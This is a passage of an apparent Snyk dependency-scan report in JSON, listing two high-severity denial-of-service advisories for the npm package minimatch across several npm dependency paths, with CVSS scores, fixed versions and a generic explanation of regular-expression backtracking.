Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": 